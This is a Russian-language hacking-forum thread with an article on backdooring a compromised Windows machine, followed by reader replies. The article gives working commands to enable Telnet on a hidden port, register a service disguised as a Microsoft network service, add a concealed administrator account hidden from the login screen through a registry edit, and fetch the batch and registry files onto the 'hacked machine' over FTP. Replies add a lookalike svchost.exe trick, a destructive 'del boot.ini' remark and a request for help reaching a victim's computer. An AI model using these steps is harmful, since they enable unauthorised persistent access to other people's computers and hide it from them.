Статьи Нетрадиционные способы закрепиться на вин машине.

Discussion in 'Статьи' started by StG-44, 24 Apr 2008.

  1. StG-44

    StG-44 Member

    Joined:
    21 Apr 2008
    Messages:
    0
    Likes Received:
    11
    Reputations:
    0
    Нетрадиционные способы закрепиться на вин машине.

    1h Интра.
    Все знают как ставить удаленно радмин через консоль, способ конечно хороший, но впринципе можно обойтись
    и без радмина, поэтому речь данной статьи пойдет о том как можно закрепиться на вин машине другим способом
    и поднять на ней парочку самых нужных вам серверов :) Статья расчитана на тех у кого есть опыт работы в командной
    строке винды.

    2h Поехали !
    Вот вы получили шел доступ к тачке которая постоянно онлайн и с широким каналом, а терять такой шел ой как
    не хочеться поэтому приступим:
    Многие знают что в винде есть такой сетевой демон Telnet, запуск которого по умолчанию отключен, можно конечно ,
    его включить,но сначала надо сменить тип его запуска на auto(по дефолту disabled )
    sc config tlntsvr start= auto
    можно впринципе уже запускать Telnet сервер, но так как он по умолчанию будет висеть на 23 порту не есть гуд слишком
    палевно так что конфигурируюм его так,
    tlntadmn config port=1001 sec=-NTLM
    где номер port'а должен быть до 1024, лучше неуказывать попсовые порты, дабы если вы укажете порт нетбиоса ,который например уже юзаеться из-за того, что юзер сиди помимо нета еще и в локалке ,то телнет сервер нестартанет
    так как порт будет занят и придеться обломаться.
    после конфигурации Telnet сервера запускаем его
    net start Telnet
    В принципе все уже готово осталось тока добавить нового админа, подрубиться и наслаждаться только что полученным шелом.


    Все это конечно хорошо, но имя службы Telnet очень палевное, поэтому я решил рассмотреть
    создание фейковой службы, которая запускает все тот же tlntsvr.exe под тем же или другим именем,
    можно например создать копию tlntsvr.exe в той же папке (system32) с имнем system.exe или System без расширения,
    так даже круче потому-что намного беспалевней чем tlntsvr.exe, кстати все службы запускаються с правами системы,
    можно конечно заюзать любимое многими вирмейкерами имя svchost.exe, но так как в system32 уже есть такой бинарник,
    то придеться грузить его из каконибудь другой папки.
    Регистрация новой службы:
    sc create "Microsoft Network" binpath= %windir%\system32\tlntsvr.exe type= own start= auto displayname= "Служба доступа к сети Microsoft" error= ignore depend= RPCSS/TCPIP/NTLMSSP
    sc description "Microsoft Network" "Позволяет вашему компьютерам получать доступ к ресурсам сети Microsoft."

    в binapth надо указать путь к самому tlntsvr.exe или его копии с другим именем, вообщем данным способом можно создавать свою службу которая будет грузить любой бинарник - это нам понадобиться чуть позже
    сразу после создания нашей службы настраиваем телнет сервер с помошью tlntadmn как было описано выше,
    все осталось тока запустить службу пишем net start "Имя службы какое вы указали в displayname"

    net start "Служба доступа к сети Microsoft"

    Так как все команды писать вручную или копипастить не лучший вариант, то создаем батник следующего содержания:

    chcp 1251
    net user SUPPORT_388945a0 /delete
    net user SUPPORT_388945a0 1234 /add
    net localgroup Администраторы SUPPORT_388945a0 /add
    net localgroup Пользователи SUPPORT_388945a0 /del
    regedit /s conf.reg
    sc create "Microsoft Network" binpath= %windir%\system32\tlntsvr.exe type= own start= auto displayname= "Служба доступа к сети Microsoft" error= ignore depend= RPCSS/TCPIP/NTLMSSP
    sc description "Microsoft Network" "Позволяет вашему компьютерам получать доступ к ресурсам сети Microsoft."
    net start "Служба доступа к сети Microsoft"
    tlntadmn config port=1001 sec=-NTLM


    Пояснения к батнику:
    chcp 1251 меняем кодовую страницу на 1251 так как батник написан не в дос кодировке
    немного о SUPPORT_388945a0: это стандартная виндосовская учетка какая есть в xp prof и в 2003 server,
    по дефолту она отключена,поэтому использовать ее имя дла нового админа будет наилучшим вариантом.
    Так как при создании нового админа он будет виден в welcome screen'е, отключить его можно импортировав
    рег файл следующего содержания:
    Содержимое conf.reg

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
    "SUPPORT_388945a0"=dword:00000000


    В принципе можно не удалять и не создавать заново эту супортовскую учетку, а сделать так

    net user SUPPORT_388945a0 1234
    net localgroup Администраторы SUPPORT_388945a0 /add
    net localgroup тут_суппорт SUPPORT_388945a0 /del

    Чтобы загрузить наш батник и рег с какого-нибудь народовского сайта на взломанную машину пишем в консоли

    cd %temp%
    echo open ftp.narod.ru>sc.txt
    echo login>>sc.txt
    echo pass>>sc.txt
    echo ascii>>sc.txt
    echo get /files/r.bat>>sc.txt
    echo get /files/conf.reg>>sc.txt
    echo bye>>sc.txt
    ftp -s:sc.txt


    Все осталось тока выполнить наш батник r.bat и юзать взломанную тачку через телнет.
    Плюсы и минусы поднятия Telnet сервера:
    + Если юзать виндосовский телнет клиент то будет работать автодополнение
    + Все есть в самой системе
    + Нет проблем с антивирусом
    - Нет шифрования трафика
    - Создаеться профиль пользователя под каким мы логинимся, но это поправимо см.в конце
    - При подключении будет висеть процесс cmd.exe запущенный от имени supp.....
    ___________________________________________________________________________________________________

    Ну вот мы и подошли ко второму способу забекдурить вин машину, а бекдурить мы будем ее как это не смешно
    с помошью open ssh сервера
    Начнем !
    (имееться ввиду инсталяционный скрипт NSIS'а подправить )
    .................
    ____________________________________________________________________________________________________


    Writed by Null
    Извините недописал статью , пока что времени нет .

    http://0xff.by.ru/bd.txt
     
    11 people like this.
  2. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Здорово!!, жду с нетерпением второй части.
     
  3. ExZoD

    ExZoD Member

    Joined:
    4 Jun 2008
    Messages:
    23
    Likes Received:
    6
    Reputations:
    0
    имхо запихнуть свой svchost.exe можно если букву "о" написать русскую. Тогда визуально в процессах их не отличить, а согласитесь юзверь не каждый день лазит в папку system32 и вероятность того, что он увидит "лишний" svchost.exe ничтожно мала =)
     
    1 person likes this.
  4. GivioN

    GivioN Elder - Старейшина

    Joined:
    30 Mar 2008
    Messages:
    45
    Likes Received:
    10
    Reputations:
    0
    Автор, ты гением будешь если поможешь вот с этим
    http://forum.antichat.ru/thread71913.html
     
    1 person likes this.
  5. DeBugger

    DeBugger Banned

    Joined:
    6 Sep 2006
    Messages:
    134
    Likes Received:
    43
    Reputations:
    6
    Спасибо, работает. Только в Eventlog эта служба о своих запусках/остановках всё равно пишет от имени Телнета. Идеи есть?
     
    1 person likes this.
  6. ZERO-Y

    ZERO-Y Elder - Старейшина

    Joined:
    28 Mar 2006
    Messages:
    85
    Likes Received:
    16
    Reputations:
    3
    а если машины в разных сетях то некак ?
     
  7. Тик-так

    Тик-так Banned

    Joined:
    22 Jul 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    ***ня какаето а де del boot.ini ????????
     
  8. immortal16

    immortal16 New Member

    Joined:
    23 Jul 2008
    Messages:
    25
    Likes Received:
    2
    Reputations:
    0
    а че нужно для доступа к файлам !?пофиг пусть палиться telnet там все равно никто не увидит!и я так понял что тока ето да?
    1.sc config tlntsvr start= auto
    2.tlntadmn config port=1001 sec=-NTLM
    3.net start Telnet
    а дальше че делать?
    где там че писать надо!IP жертвы знаю!
    если нет доступа к файлам то какой есть?и что можно сделать? появится ли диспетчер или все время бут еста консоль?мне нужно доступ к компу в локалке через телнет!т.к. троя он не проглотит проверенно!